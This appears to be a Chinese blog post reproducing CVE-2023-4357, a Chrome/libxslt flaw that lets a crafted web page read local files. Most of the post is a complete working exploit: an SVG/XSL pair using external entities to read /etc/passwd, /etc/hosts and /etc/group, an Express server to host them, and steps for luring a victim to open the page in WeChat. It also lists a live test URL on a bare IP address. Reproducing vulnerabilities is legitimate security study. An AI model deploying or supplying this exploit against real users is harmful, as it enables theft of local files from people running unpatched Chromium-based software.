Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

1.漏洞描述

该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页,诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。Libxslt 是在基于 WebKit 的浏览器(如 chromesafari 等)中默认使用的 XSL 库。Libxslt 允许 XSL document() 方法加载的文档内部存在外部实体。攻击者可以绕过安全限制,从 http(s):// 网址访问 file:// 网址并获取文件访问权限

影响版本

Google Chrome < 116.0.5845.96

依赖Chromium内核的组件,如vscode、微信等。

2.漏洞复现

开发者提供了一个示例 POC,测试通过微信、抖音之类的 app 直接访问下面的 url 即可触发读取本机的 passwd 文件和 hosts 文件

该测试 URLhttp://188.68.220.248/js.svg

参考链接:https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

通过了解POC需要配置三个文件

1.test.svg文件内容

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#"?>

<xsl:stylesheet id="color-change" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 <xsl:template match="/">
	<svg version="1.1" id="Capa_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 1000 1000">
		<foreignObject id="myObj" width="1000" height="1000">
		    <div style="font-size:xxx-large" xmlns="http://www.w3.org/1999/xhtml">
			<a href="#">#Copy me#</a><br/>
			XSL: <xsl:value-of select="system-property('xsl:version')"/><br/>
			Vendor: <xsl:value-of select="system-property('xsl:vendor')"/><br/>
			Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')"/><br/>
			document() <xsl:copy-of  select="document('test.xsl')"/>
		    </div>
		</foreignObject>
	</svg>
 </xsl:template>
</xsl:stylesheet>

2.test.xsl文件内容

复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE p [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY group SYSTEM "file://localhost/etc/group">
]> 

<p>
  <p style="border-style: dotted;">/etc/passwd: 
&passwd;
  </p>
 <p style="border-style: dotted;">/etc/hosts:
&hosts;
  </p>
 <p style="border-style: dotted;">/etc/group:
&group;
  </p>
</p>

3.server.js文件内容

复制代码
const express = require('express');
const path = require('path');

const app = express();
const port = 3000;

app.get('/test.svg', (req, res) => {
  res.sendFile(path.join(__dirname, 'test.svg'));
});

app.get('/test.xsl', (req, res) => {
  res.set('Access-Control-Allow-Origin', '*');
  res.sendFile(path.join(__dirname, 'test.xsl'));
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`);
});

将这三个文件放到服务器上,手机微信点击访问:

http://xxx.xxx.xxx.xxx/test.svg

可以看到复现成功,成功读取本地文件。

相关推荐
云水一下12 小时前
零基础玩转bWAPP靶场(十三):SQL 注入(GET/搜索型)
web安全·sql注入·bwapp
云水一下15 小时前
零基础玩转bWAPP靶场(十二):Mail Header Injection(SMTP邮件头注入)
web安全·bwapp·邮箱头注入
其实防守也摸鱼2 天前
补天SRC新手入门指南:从0到1的漏洞挖掘之路
网络·python·学习·安全·web安全·数据挖掘·挖洞
lubiii_2 天前
网络安全法律法规备考速查手册
安全·web安全·网络安全
txg6662 天前
网络安全领域简报(2026年7月14日—20日)
安全·web安全
HackTwoHub2 天前
解锁 AI 红队全新玩法!Claude-Red 攻防 Skill 库,内置 SQLi、XXE、文件上传等 Web 专项 Skill,一键导入快速落地渗透实战
前端·人工智能·web安全·网络安全·自动化·系统安全
见青..3 天前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道3 天前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
李豆豆喵4 天前
013-基础入门-身份鉴权&参考文章&发包工具项目等
web安全